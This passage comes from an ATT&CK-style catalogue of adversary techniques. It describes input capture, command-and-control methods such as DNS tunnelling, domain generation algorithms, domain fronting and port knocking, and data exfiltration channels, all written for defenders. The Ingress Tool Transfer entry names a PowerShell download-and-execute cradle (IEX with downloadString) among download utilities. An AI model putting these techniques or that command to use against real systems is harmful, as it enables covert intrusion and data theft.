Adversaries may target an Exchange server, Office 365, or Google Workspace to collect sensitive information. Adversaries may leverage a user's credentials and interact directly with the Exchange server to acquire information from within a network. Adversaries may also access externally facing Exchange services, Office 365, or Google Workspace to access email using credentials or access tokens. Tools such as MailSniper can be used to automate searches for specific keywords.

.003 - Email Forwarding Rule

Adversaries may setup email forwarding rules to collect sensitive information. Adversaries may abuse email-forwarding rules to monitor the activities of a victim, steal information, and further gain intelligence on the victim or the victim’s organization to use as part of further exploits or operations. Furthermore, email forwarding rules can allow adversaries to maintain persistent access to victim's emails even after compromised credentials are reset by administrators. Most email clients allow users to create inbox rules for various email functions, including forwarding to a different recipient. These rules may be created through a local email application, a web interface, or by command-line interface. Messages can be forwarded to internal or external recipients, and there are no restrictions limiting the extent of this rule. Administrators may also create forwarding rules for user accounts with the same considerations and outcomes.

Any user or administrator within the organization (or adversary with valid credentials) can create rules to automatically forward all received messages to another recipient, forward emails to different locations based on the sender, and more. Adversaries may also hide the rule by making use of the Microsoft Messaging API (MAPI) to modify the rule properties, making it hidden and not visible from Outlook, OWA or most Exchange Administration tools.

T1056 - Input Capture

Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture).

.001 - Keylogging

Adversaries may log user keystrokes to intercept credentials as the user types them. Keylogging is likely to be used to acquire credentials for new access opportunities when OS Credential Dumping efforts are not effective, and may require an adversary to intercept keystrokes on a system for a substantial period of time before credentials can be successfully captured.

Keylogging is the most prevalent type of input capture, with many different ways of intercepting keystrokes. Some methods include:

- Hooking API callbacks used for processing keystrokes. Unlike Credential API Hooking, this focuses solely on API functions intended for processing keystroke data.
- Reading raw keystroke data from the hardware buffer.
- Windows Registry modifications.
- Custom drivers.
- Modify System Image may provide adversaries with hooks into the operating system of network devices to read raw keystrokes for login sessions.

.002 - GUI Input Capture
Adversaries may mimic common operating system GUI components to prompt users for credentials with a seemingly legitimate prompt. When programs are executed that need additional privileges than are present in the current user context, it is common for the operating system to prompt the user for proper credentials to authorize the elevated privileges for the task (ex: Bypass User Account Control).

Adversaries may mimic this functionality to prompt users for credentials with a seemingly legitimate prompt for a number of reasons that mimic normal usage, such as a fake installer requiring additional access or a fake malware removal suite. This type of prompt can be used to collect credentials via various languages such as AppleScript and PowerShell. On Linux systems adversaries may launch dialog boxes prompting users for credentials from malicious shell scripts or the command line (i.e. Unix Shell).

.003 - Web Portal Capture
Adversaries may install code on externally facing portals, such as a VPN login page, to capture and transmit credentials of users who attempt to log into the service. For example, a compromised login page may log provided user credentials before logging the user in to the service.

This variation on input capture may be conducted post-compromise using legitimate administrative access as a backup measure to maintain network access through External Remote Services and Valid Accounts or as part of the initial compromise by exploitation of the externally facing web service.

.004 - Credential API Hooking
Adversaries may hook into Windows application programming interface (API) functions to collect user credentials. Malicious hooking mechanisms may capture API calls that include parameters that reveal user authentication credentials. Unlike Keylogging, this technique focuses specifically on API functions that include parameters that reveal user credentials. Hooking involves redirecting calls to these functions and can be implemented via:

- **Hooks procedures**, which intercept and execute designated code in response to events such as messages, keystrokes, and mouse inputs.
- **Import address table (IAT) hooking**, which use modifications to a process's IAT, where pointers to imported API functions are stored.
- **Inline hooking**, which overwrites the first bytes in an API function to redirect code flow.

T1113 - Screen Capture
Adversaries may attempt to take screen captures of the desktop to gather information over the course of an operation. Screen capturing functionality may be included as a feature of a remote access tool used in post-compromise operations. Taking a screenshot is also typically possible through native utilities or API calls, such as CopyFromScreen, xwd, or screencapture.

T1125 - Video Capture
An adversary can leverage a computer's peripheral devices (e.g., integrated cameras or webcams) or applications (e.g., video call services) to capture video recordings for the purpose of gathering information. Images may also be captured from devices or applications, potentially in specified intervals, in lieu of video files.

Malware or scripts may be used to interact with the devices through an available API provided by the operating system or an application to capture video or images. Video or image files may be written to disk and exfiltrated later. This technique differs from Screen Capture due to use of specific devices or applications for video recording rather than capturing the victim's screen.

In macOS, there are a few different malware samples that record the user's webcam such as FruitFly and Proton.

Command and Control

The adversary is trying to communicate with compromised systems to control them.

Command and Control consists of techniques that adversaries may use to communicate with systems under their control within a victim network. Adversaries commonly attempt to mimic normal, expected traffic to avoid detection. There are many ways an adversary can establish command and control with various levels of stealth depending on the victim's network structure and defenses.

Techniques

Techniques represent 'how' an adversary achieves a tactical goal by performing an action. For example, an adversary may dump credentials to achieve credential access.

T1071 - Application Layer Protocol

Adversaries may communicate using application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.

Adversaries may utilize many different protocols, including those used for web browsing, transferring files, electronic mail, or DNS. For connections that occur internally within an enclave (such as those between a proxy or pivot node and other nodes), commonly used protocols are SMB, SSH, or RDP.

.001 - Web Protocols

Adversaries may communicate using application layer protocols associated with web traffic to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.

Protocols such as HTTP and HTTPS that carry web traffic may be very common in environments. HTTP/S packets have many fields and headers in which data can be concealed. An adversary may abuse these protocols to communicate with systems under their control within a victim network while also mimicking normal, expected traffic.

.002 - File Transfer Protocols

Adversaries may communicate using application layer protocols associated with transferring files to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.

Protocols such as FTP, FTPS, and TFTP that transfer files may be very common in environments. Packets produced from these protocols may have many fields and headers in which data can be concealed. Data could also be concealed within the transferred files. An adversary may abuse these protocols to communicate with systems under their control within a victim network while also mimicking normal, expected traffic.

.003 - Mail Protocols

Adversaries may communicate using application layer protocols associated with electronic mail delivery to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.

Protocols such as SMTP/S, POP3/S, and IMAP that carry electronic mail may be very common in environments. Packets produced from these protocols may have many fields and headers in which data can be concealed. Data could also be concealed within the email messages themselves. An adversary may abuse these protocols to communicate with systems under their control within a victim network while also mimicking normal, expected traffic.

.004 – DNS

Adversaries may communicate using the Domain Name System (DNS) application layer protocol to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.

The DNS protocol serves an administrative function in computer networking and thus may be very common in environments. DNS traffic may also be allowed even before network authentication is completed. DNS packets contain many fields and headers in which data can be concealed. Often known as DNS tunneling, adversaries may abuse DNS to communicate with systems under their control within a victim network while also mimicking normal, expected traffic.

T1092 - Communication Through Removable Media

Adversaries can perform command and control between compromised hosts on potentially disconnected networks using removable media to transfer commands from system to system. Both systems would need to be compromised, with the likelihood that an Internet-connected system was compromised first and the second through lateral movement by Replication Through Removable Media. Commands and files would be relayed from the disconnected system to the Internet-connected system to which the adversary has direct access.

T1132 - Data Encoding

Adversaries may encode data to make the content of C&C traffic more difficult to detect. Command and control (C2) information can be encoded using a standard data encoding system. Use of data encoding may adhere to existing protocol specifications and includes use of ASCII, Unicode, Base64, MIME, or other binary-to-text and character encoding systems. Some data encoding systems may also result in data compression, such as gzip.

.001 - Standard Encoding

Adversaries may encode data with a standard data encoding system to make the content of command and control traffic more difficult to detect. Command and control (C2) information can be encoded using a standard data encoding system that adheres to existing protocol specifications. Common data encoding schemes include ASCII, Unicode, hexadecimal, Base64, and MIME. Some data encoding systems may also result in data compression, such as gzip.

.002 - Non-Standard Encoding

Adversaries may encode data with a non-standard data encoding system to make the content of command and control traffic more difficult to detect. Command and control (C2) information can be encoded using a non-standard data encoding system that diverges from existing protocol specifications. Non-standard data encoding schemes may be based on or related to standard data encoding schemes, such as a modified Base64 encoding for the message body of an HTTP request.

T1001 - Data Obfuscation

Adversaries may obfuscate command and control traffic to make it more difficult to detect. Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, or impersonating legitimate protocols.

.001 - Junk Data

Adversaries may add junk data to protocols used for command and control to make detection more difficult. By adding random or meaningless data to the protocols used for command and control, adversaries can prevent trivial methods for decoding, deciphering, or otherwise analyzing the traffic. Examples may include appending/prepending data with junk characters or writing junk characters between significant characters.

.002 – Steganography

Adversaries may use steganographic techniques to hide command and control traffic to make detection efforts more difficult. Steganographic techniques can be used to hide data in digital messages that are transferred between systems. This hidden information can be used for command and control of compromised systems. In some cases, the passing of files embedded using steganography, such as image or document files, can be used for command and control.

.003 - Protocol Impersonation

Adversaries may impersonate legitimate protocols or web service traffic to disguise command and control activity and thwart analysis efforts. By impersonating legitimate protocols or web services, adversaries can make their command and control traffic blend in with legitimate network traffic.

Adversaries may impersonate a fake SSL/TLS handshake to make it look like subsequent traffic is SSL/TLS encrypted, potentially interfering with some security tooling, or to make the traffic look like it is related with a trusted entity.

T1568 - Dynamic Resolution

Adversaries may dynamically establish connections to command and control infrastructure to evade common detections and remediations. This may be achieved by using malware that shares a common algorithm with the infrastructure the adversary uses to receive the malware's communications. These calculations can be used to dynamically adjust parameters such as the domain name, IP address, or port number the malware uses for command and control.

Adversaries may use dynamic resolution for the purpose of Fallback Channels. When contact is lost with the primary command and control server malware may employ dynamic resolution as a means to reestablishing command and control.

.001 - Fast Flux DNS

Adversaries may use Fast Flux DNS to hide a command and control channel behind an array of rapidly changing IP addresses linked to a single domain resolution. This technique uses a fully qualified domain name, with multiple IP addresses assigned to it which are swapped with high frequency, using a combination of round robin IP addressing and short Time-To-Live (TTL) for a DNS resource record.

The simplest, "single-flux" method, involves registering and de-registering an address as part of the DNS A (address) record list for a single DNS name. These registrations have a five-minute average lifespan, resulting in a constant shuffle of IP address resolution.

In contrast, the "double-flux" method registers and de-registers an address as part of the DNS Name Server record list for the DNS zone, providing additional resilience for the connection. With double-flux additional hosts can act as a proxy to the C2 host, further insulating the true source of the C2 channel.

.002 - Domain Generation Algorithms

Adversaries may make use of Domain Generation Algorithms (DGAs) to dynamically identify a destination domain for command and control traffic rather than relying on a list of static IP addresses or domains. This has the advantage of making it much harder for defenders to block, track, or take over the command and control channel, as there potentially could be thousands of domains that malware can check for instructions.

DGAs can take the form of apparently random or "gibberish" strings (ex: istgmxdejdnxuyla.ru) when they construct domain names by generating each letter. Alternatively, some DGAs employ whole words as the unit by concatenating words together instead of letters (ex: cityjulydish.net). Many DGAs are time-based, generating a different domain for each time period (hourly, daily, monthly, etc). Others incorporate a seed value as well to make predicting future domains more difficult for defenders.

Adversaries may use DGAs for the purpose of Fallback Channels. When contact is lost with the primary command and control server malware may employ a DGA as a means to reestablishing command and control.

.003 - DNS Calculation

Adversaries may perform calculations on addresses returned in DNS results to determine which port and IP address to use for command and control, rather than relying on a predetermined port number or the actual returned IP address. An IP and/or port number calculation can be used to bypass egress filtering on a C2 channel.

One implementation of DNS Calculation is to take the first three octets of an IP address in a DNS response and use those values to calculate the port for command and control traffic.

T1573 - Encrypted Channel

Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.

.001 - Symmetric Cryptography

Adversaries may employ a known symmetric encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Symmetric encryption algorithms use the same key for plaintext encryption and ciphertext decryption. Common symmetric encryption algorithms include AES, DES, 3DES, Blowfish, and RC4.

.002 - Asymmetric Cryptography

Adversaries may employ a known asymmetric encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Asymmetric cryptography, also known as public key cryptography, uses a keypair per party: one public that can be freely distributed, and one private. Due to how the keys are generated, the sender encrypts data with the receiver’s public key and the receiver decrypts the data with their private key. This ensures that only the intended recipient can read the encrypted data. Common public key encryption algorithms include RSA and ElGamal.

For efficiency, many protocols (including SSL/TLS) use symmetric cryptography once a connection is established, but use asymmetric cryptography to establish or transmit a key. As such, these protocols are classified as Asymmetric Cryptography.

T1008 - Fallback Channels
Adversaries may use fallback or alternate communication channels if the primary channel is compromised or inaccessible in order to maintain reliable command and control and to avoid data transfer thresholds.

T1105 - Ingress Tool Transfer
Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp. Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer).

Files can also be transferred using various Web Services as well as native or otherwise present tools on the victim system.

On Windows, adversaries may use various utilities to download tools, such as `copy`, `finger`, and PowerShell commands such as `IEX(New-Object Net.WebClient).downloadString()` and `Invoke-WebRequest`. On Linux and macOS systems, a variety of utilities also exist, such as `curl`, `scp`, `sftp`, `tftp`, `rsync`, `finger`, and `wget`.

T1104 - Multi-Stage Channels
Adversaries may create multiple stages for command and control that are employed under different conditions or for certain functions. Use of multiple stages may obfuscate the command and control channel to make detection more difficult.

Remote access tools will call back to the first-stage command and control server for instructions. The first stage may have automated capabilities to collect basic host information, update tools, and upload additional files. A second remote access tool (RAT) could be uploaded at that point to redirect the host to the second-stage command and control server. The second stage will likely be more fully featured and allow the adversary to interact with the system through a reverse shell and additional RAT features.

The different stages will likely be hosted separately with no overlapping infrastructure. The loader may also have backup first-stage callbacks or Fallback Channels in case the original first-stage communication path is discovered and blocked.

T1095 - Non-Application Layer Protocol
Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive. Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).

ICMP communication between hosts is one example. Because ICMP is part of the Internet Protocol Suite, it is required to be implemented by all IP-compatible hosts. However, it is not as commonly monitored as other Internet Protocols such as TCP or UDP and may be used by adversaries to hide communications.

T1571 - Non-Standard Port
Adversaries may communicate using a protocol and port paring that are typically not associated. For example, HTTPS over port 8088 or port 587 as opposed to the traditional port 443. Adversaries may

make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.

T1572 - Protocol Tunneling

Adversaries may tunnel network communications to and from a victim system within a separate protocol to avoid detection/network filtering and/or enable access to otherwise unreachable systems. Tunneling involves explicitly encapsulating a protocol within another. This behavior may conceal malicious traffic by blending in with existing traffic and/or provide an outer layer of encryption (similar to a VPN). Tunneling could also enable routing of network packets that would otherwise not reach their intended destination, such as SMB, RDP, or other traffic that would be filtered by network appliances or not routed over the Internet.

There are various means to encapsulate a protocol within another protocol. For example, adversaries may perform SSH tunneling (also known as SSH port forwarding), which involves forwarding arbitrary data over an encrypted SSH tunnel.

Protocol Tunneling may also be abused by adversaries during Dynamic Resolution. Known as DNS over HTTPS (DoH), queries to resolve C2 infrastructure may be encapsulated within encrypted HTTPS packets.

Adversaries may also leverage Protocol Tunneling in conjunction with Proxy and/or Protocol Impersonation to further conceal C2 communications and infrastructure.

T1090 – Proxy

Adversaries may use a connection proxy to direct network traffic between systems or act as an intermediary for network communications to a command and control server to avoid direct connections to their infrastructure. Many tools exist that enable traffic redirection through proxies or port redirection, including HTRAN, ZXProxy, and ZXPortMap. Adversaries use these types of proxies to manage command and control communications, reduce the number of simultaneous outbound network connections, provide resiliency in the face of connection loss, or to ride over existing trusted communications paths between victims to avoid suspicion. Adversaries may chain together multiple proxies to further disguise the source of malicious traffic.

Adversaries can also take advantage of routing schemes in Content Delivery Networks (CDNs) to proxy command and control traffic.

.001 - Internal Proxy

Adversaries may use an internal proxy to direct command and control traffic between two or more systems in a compromised environment. Many tools exist that enable traffic redirection through proxies or port redirection, including HTRAN, ZXProxy, and ZXPortMap. Adversaries use internal proxies to manage command and control communications inside a compromised environment, to reduce the number of simultaneous outbound network connections, to provide resiliency in the face of connection loss, or to ride over existing trusted communications paths between infected systems to avoid suspicion. Internal proxy connections may use common peer-to-peer (p2p) networking protocols, such as SMB, to better blend in with the environment.

By using a compromised internal system as a proxy, adversaries may conceal the true destination of C2 traffic while reducing the need for numerous connections to external systems.

.002 - External Proxy

Adversaries may use an external proxy to act as an intermediary for network communications to a command and control server to avoid direct connections to their infrastructure. Many tools exist that enable traffic redirection through proxies or port redirection, including HTRAN, ZXProxy, and ZXPortMap. Adversaries use these types of proxies to manage command and control communications, to provide resiliency in the face of connection loss, or to ride over existing trusted communications paths to avoid suspicion.

External connection proxies are used to mask the destination of C2 traffic and are typically implemented with port redirectors. Compromised systems outside of the victim environment may be used for these purposes, as well as purchased infrastructure such as cloud-based resources or virtual private servers. Proxies may be chosen based on the low likelihood that a connection to them from a compromised system would be investigated. Victim systems would communicate directly with the external proxy on the Internet and then the proxy would forward communications to the C2 server.

.003 - Multi-hop Proxy

To disguise the source of malicious traffic, adversaries may chain together multiple proxies. Typically, a defender will be able to identify the last proxy traffic traversed before it enters their network; the defender may or may not be able to identify any previous proxies before the last-hop proxy. This technique makes identifying the original source of the malicious traffic even more difficult by requiring the defender to trace malicious traffic through several proxies to identify its source. A particular variant of this behavior is to use onion routing networks, such as the publicly available TOR network.

In the case of network infrastructure, particularly routers, it is possible for an adversary to leverage multiple compromised devices to create a multi-hop proxy chain within the Wide-Area Network (WAN) of the enterprise. By leveraging Patch System Image, adversaries can add custom code to the affected network devices that will implement onion routing between those nodes. This custom onion routing network will transport the encrypted C2 traffic through the compromised population, allowing adversaries to communicate with any device within the onion routing network. This method is dependent upon the Network Boundary Bridging method in order to allow the adversaries to cross the protected network boundary of the Internet perimeter and into the organization's WAN. Protocols such as ICMP may be used as a transport.

.004 - Domain Fronting

Adversaries may take advantage of routing schemes in Content Delivery Networks (CDNs) and other services which host multiple domains to obfuscate the intended destination of HTTPS traffic or traffic tunneled through HTTPS. Domain fronting involves using different domain names in the SNI field of the TLS header and the Host field of the HTTP header. If both domains are served from the same CDN, then the CDN may route to the address specified in the HTTP header after unwrapping the TLS header. A variation of the the technique, "domainless" fronting, utilizes a SNI field that is left blank; this may allow the fronting to work even when the CDN attempts to validate that the SNI and HTTP Host fields match (if the blank SNI fields are ignored).

For example, if domain-x and domain-y are customers of the same CDN, it is possible to place domain-x in the TLS header and domain-y in the HTTP header. Traffic will appear to be going to domain-x, however the CDN may route it to domain-y.

T1219 - Remote Access Software

An adversary may use legitimate desktop support and remote access software, such as Team Viewer, AnyDesk, Go2Assist, LogMein, AmmyyAdmin, etc, to establish an interactive command and control channel to target systems within networks. These services are commonly used as legitimate technical support software, and may be allowed by application control within a target environment. Remote access tools like VNC, Ammyy, and Teamviewer are used frequently when compared with other legitimate software commonly used by adversaries.

Remote access tools may be installed and used post-compromise as alternate communications channel for redundant access or as a way to establish an interactive remote desktop session with the target system. They may also be used as a component of malware to establish a reverse connection or back-connect to a service or adversary controlled system. Installation of many remote access tools may also include persistence (ex: the tool's installation routine creates a Windows Service).

Admin tools such as TeamViewer have been used by several groups targeting institutions in countries of interest to the Russian state and criminal campaigns.

T1205 - Traffic Signaling

Adversaries may use traffic signaling to hide open ports or other malicious functionality used for persistence or command and control. Traffic signaling involves the use of a magic value or sequence that must be sent to a system to trigger a special response, such as opening a closed port or executing a malicious task. This may take the form of sending a series of packets with certain characteristics before a port will be opened that the adversary can use for command and control. Usually this series of packets consists of attempted connections to a predefined sequence of closed ports (i.e. Port Knocking), but can involve unusual flags, specific strings, or other unique characteristics. After the sequence is completed, opening a port may be accomplished by the host-based firewall, but could also be implemented by custom software.

Adversaries may also communicate with an already open port, but the service listening on that port will only respond to commands or trigger other malicious functionality if passed the appropriate magic value(s).

The observation of the signal packets to trigger the communication can be conducted through different methods. One means, originally implemented by Cd00r, is to use the libpcap libraries to sniff for the packets in question. Another method leverages raw sockets, which enables the malware to use ports that are already open for use by other programs.

On network devices, adversaries may use crafted packets to enable Network Device Authentication for standard services offered by the device such as telnet. Such signaling may also be used to open a closed service port such as telnet, or to trigger module modification of malware implants on the device, adding, removing, or changing malicious capabilities. Adversaries may use crafted packets to attempt to connect to one or more (open or closed) ports, but may also attempt to connect to a router interface, broadcast, and network address IP on the same port in order to achieve their goals and objectives. To enable this traffic signaling on embedded devices, adversaries must first achieve and leverage Patch System Image due to the monolithic nature of the architecture.

Adversaries may also use the Wake-on-LAN feature to turn on powered off systems. Wake-on-LAN is a hardware feature that allows a powered down system to be powered on, or woken up, by sending a magic packet to it. Once the system is powered on, it may become a target for lateral movement.

.001 - Port Knocking

Adversaries may use port knocking to hide open ports used for persistence or command and control. To enable a port, an adversary sends a series of attempted connections to a predefined sequence of closed ports. After the sequence is completed, opening a port is often accomplished by the host based firewall, but could also be implemented by custom software.

This technique has been observed both for the dynamic opening of a listening port as well as the initiating of a connection to a listening server on a different system.

The observation of the signal packets to trigger the communication can be conducted through different methods. One means, originally implemented by Cd00r, is to use the libpcap libraries to sniff for the packets in question. Another method leverages raw sockets, which enables the malware to use ports that are already open for use by other programs.

.002 - Socket Filters

Adversaries may attach filters to a network socket to monitor then activate backdoors used for persistence or command and control. With elevated permissions, adversaries can use features such as the libpcap library to open sockets and install filters to allow or disallow certain types of data to come through the socket. The filter may apply to all traffic passing through the specified network interface (or every interface if not specified). When the network interface receives a packet matching the filter criteria, additional actions can be triggered on the host, such as activation of a reverse shell.

To establish a connection, an adversary sends a crafted packet to the targeted host that matches the installed filter criteria. Adversaries have used these socket filters to trigger the installation of implants, conduct ping backs, and to invoke command shells. Communication with these socket filters may also be used in conjunction with Protocol Tunneling.

Filters can be installed on any Unix-like platform with libpcap installed or on Windows hosts using Winpcap. Adversaries may use either libpcap with pcap_setfilter or the standard library function setsockopt with SO_ATTACH_FILTER options. Since the socket connection is not active until the packet is received, this behavior may be difficult to detect due to the lack of activity on a host, low CPU overhead, and limited visibility into raw socket usage.

T1102 - Web Service

Adversaries may use an existing, legitimate external Web service as a means for relaying data to/from a compromised system. Popular websites and social media acting as a mechanism for C2 may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to a compromise. Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection.

Use of Web services may also protect back-end C2 infrastructure from discovery through malware binary analysis while also enabling operational resiliency (since this infrastructure may be dynamically changed).

.001 - Dead Drop Resolver

Adversaries may use an existing, legitimate external Web service to host information that points to additional command and control (C2) infrastructure. Adversaries may post content, known as a dead drop resolver, on Web services with embedded (and often obfuscated/encoded) domains or IP addresses. Once infected, victims will reach out to and be redirected by these resolvers.

Popular websites and social media acting as a mechanism for C2 may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to a compromise. Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection.

Use of a dead drop resolver may also protect back-end C2 infrastructure from discovery through malware binary analysis while also enabling operational resiliency (since this infrastructure may be dynamically changed).

.002 - Bidirectional Communication

Adversaries may use an existing, legitimate external Web service as a means for sending commands to and receiving output from a compromised system over the Web service channel. Compromised systems may leverage popular websites and social media to host command and control (C2) instructions. Those infected systems can then send the output from those commands back over that Web service channel. The return traffic may occur in a variety of ways, depending on the Web service being utilized. For example, the return traffic may take the form of the compromised system posting a comment on a forum, issuing a pull request to development project, updating a document hosted on a Web service, or by sending a Tweet.

Popular websites and social media acting as a mechanism for C2 may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to a compromise. Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection.

.003 - One-Way Communication

Adversaries may use an existing, legitimate external Web service as a means for sending commands to a compromised system without receiving return output over the Web service channel. Compromised systems may leverage popular websites and social media to host command and control (C2) instructions. Those infected systems may opt to send the output from those commands back over a different C2 channel, including to another distinct Web service. Alternatively, compromised systems may return no output at all in cases where adversaries want to send instructions to systems and do not want a response.

Popular websites and social media acting as a mechanism for C2 may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to a compromise. Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection.

Exfiltration

The adversary is trying to steal data.

Exfiltration consists of techniques that adversaries may use to steal data from your network. Once they've collected data, adversaries often package it to avoid detection while removing it. This can include compression and encryption. Techniques for getting data out of a target network typically include transferring it over their C&C channel or an alternate channel and may also include putting size limits on the transmission.

Techniques

Techniques represent 'how' an adversary achieves a tactical goal by performing an action. For example, an adversary may dump credentials to achieve credential access.

T1020 - Automated Exfiltration

Adversaries may exfiltrate data, such as sensitive documents, using automated processing after being gathered during Collection.

When automated exfiltration is used, other exfiltration techniques likely apply as well to transfer the information out of the network, such as Exfiltration Over C2 Channel and Exfiltration Over Alternative Protocol.

.001 - Traffic Duplication

Adversaries may leverage traffic mirroring in order to automate data exfiltration over compromised network infrastructure. Traffic mirroring is a native feature for some network devices and used for network analysis and may be configured to duplicate traffic and forward to one or more destinations for analysis by a network analyzer or other monitoring device.

Adversaries may abuse traffic mirroring to mirror or redirect network traffic through other network infrastructure they control. Malicious modifications to network devices to enable traffic redirection may be possible through ROMMONkit or Patch System Image. Adversaries may use traffic duplication in conjunction with Network Sniffing, Input Capture, or Adversary-in-the-Middle depending on the goals and objectives of the adversary.

T1030 - Data Transfer Size Limits

An adversary may exfiltrate data in fixed size chunks instead of whole files or limit packet sizes below certain thresholds. This approach may be used to avoid triggering network data transfer threshold alerts.

T1048 - Exfiltration Over Alternative Protocol

Adversaries may steal data by exfiltrating it over a different protocol than that of the existing command and control channel. The data may also be sent to an alternate network location from the main command and control server.

Alternate protocols include FTP, SMTP, HTTP/S, DNS, SMB, or any other network protocol not being used as the main command and control channel. Different protocol channels could also include Web services such as cloud storage. Adversaries may also opt to encrypt and/or obfuscate these alternate channels.

Exfiltration Over Alternative Protocol can be done using various common operating system utilities such as Net/SMB or FTP. On macOS and Linux `curl` may be used to invoke protocols such as HTTP/S or FTP/S to exfiltrate data from a system.

.001 - Exfiltration Over Symmetric Encrypted Non-C2 Protocol

Adversaries may steal data by exfiltrating it over a symmetrically encrypted network protocol other than that of the existing command and control channel. The data may also be sent to an alternate network location from the main command and control server.

Symmetric encryption algorithms are those that use shared or the same keys/secrets on each end of the channel. This requires an exchange or pre-arranged agreement/possession of the value used to encrypt and decrypt data.

Network protocols that use asymmetric encryption often utilize symmetric encryption once keys are exchanged, but adversaries may opt to manually share keys and implement symmetric cryptographic algorithms (ex: RC4, AES) vice using mechanisms that are baked into a protocol. This may result in multiple layers of encryption (in protocols that are natively encrypted such as HTTPS) or encryption in protocols that not typically encrypted (such as HTTP or FTP).

.002 - Exfiltration Over Asymmetric Encrypted Non-C2 Protocol

Adversaries may steal data by exfiltrating it over an asymmetrically encrypted network protocol other than that of the existing command and control channel. The data may also be sent to an alternate network location from the main command and control server.

Asymmetric encryption algorithms are those that use different keys on each end of the channel. Also known as public-key cryptography, this requires pairs of cryptographic keys that can encrypt/decrypt data from the corresponding key. Each end of the communication channels requires a private key (only in the procession of that entity) and the public key of the other entity. The public keys of each entity are exchanged before encrypted communications begin.

Network protocols that use asymmetric encryption (such as HTTPS/TLS/SSL) often utilize symmetric encryption once keys are exchanged. Adversaries may opt to use these encrypted mechanisms that are baked into a protocol.

.003 - Exfiltration Over Unencrypted Non-C2 Protocol

Adversaries may steal data by exfiltrating it over an un-encrypted network protocol other than that of the existing command and control channel. The data may also be sent to an alternate network location from the main command and control server.

Adversaries may opt to obfuscate this data, without the use of encryption, within network protocols that are natively unencrypted (such as HTTP, FTP, or DNS). This may include custom or publicly available encoding/compression algorithms (such as base64) as well as embedding data within protocol headers and fields.

T1041 - Exfiltration Over C2 Channel

Adversaries may steal data by exfiltrating it over an existing command and control channel. Stolen data is encoded into the normal communications channel using the same protocol as command and control communications.

T1011 - Exfiltration Over Other Network Medium

Adversaries may attempt to exfiltrate data over a different network medium than the command and control channel. If the command and control network is a wired Internet connection, the exfiltration may occur, for example, over a WiFi connection, modem, cellular data connection, Bluetooth, or another radio frequency (RF) channel.

Adversaries may choose to do this if they have sufficient access or proximity, and the connection might not be secured or defended as well as the primary Internet-connected channel because it is not routed through the same enterprise network.

.001 - Exfiltration Over Bluetooth
Adversaries may attempt to exfiltrate data over Bluetooth rather than the C&C channel. If the C&C network is a wired Internet connection, an adversary may opt to exfiltrate data using a Bluetooth communication channel.

Adversaries may choose to do this if they have sufficient access and proximity. Bluetooth connections might not be secured or defended as well as the primary Internet-connected channel because it is not routed through the same enterprise network.

T1052 - Exfiltration Over Physical Medium
Adversaries may attempt to exfiltrate data via a physical medium, such as a removable drive. In certain circumstances, such as an air-gapped network compromise, exfiltration could occur via a physical medium or device introduced by a user. Such media could be an external hard drive, USB drive, cellular phone, MP3 player, or other removable storage and processing device. The physical medium or device could be used as the final exfiltration point or to hop between otherwise disconnected systems.

.001 - Exfiltration over USB
Adversaries may attempt to exfiltrate data over a USB connected physical device. In certain circumstances, such as an air-gapped network compromise, exfiltration could occur via a USB device introduced by a user. The USB device could be used as the final exfiltration point or to hop between otherwise disconnected systems.

T1567 - Exfiltration Over Web Service
Adversaries may use an existing, legitimate external Web service to exfiltrate data rather than their primary command and control channel. Popular Web services acting as an exfiltration mechanism may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to compromise. Firewall rules may also already exist to permit traffic to these services.

Web service providers also commonly use SSL/TLS encryption, giving adversaries an added level of protection.

.001 - Exfiltration to Code Repository
Adversaries may exfiltrate data to a code repository rather than over their primary command and control channel. Code repositories are often accessible via an API (ex: https://api.github.com). Access to these APIs are often over HTTPS, which gives the adversary an additional level of protection.

Exfiltration to a code repository can also provide a significant amount of cover to the adversary if it is a popular service already used by hosts within the network.

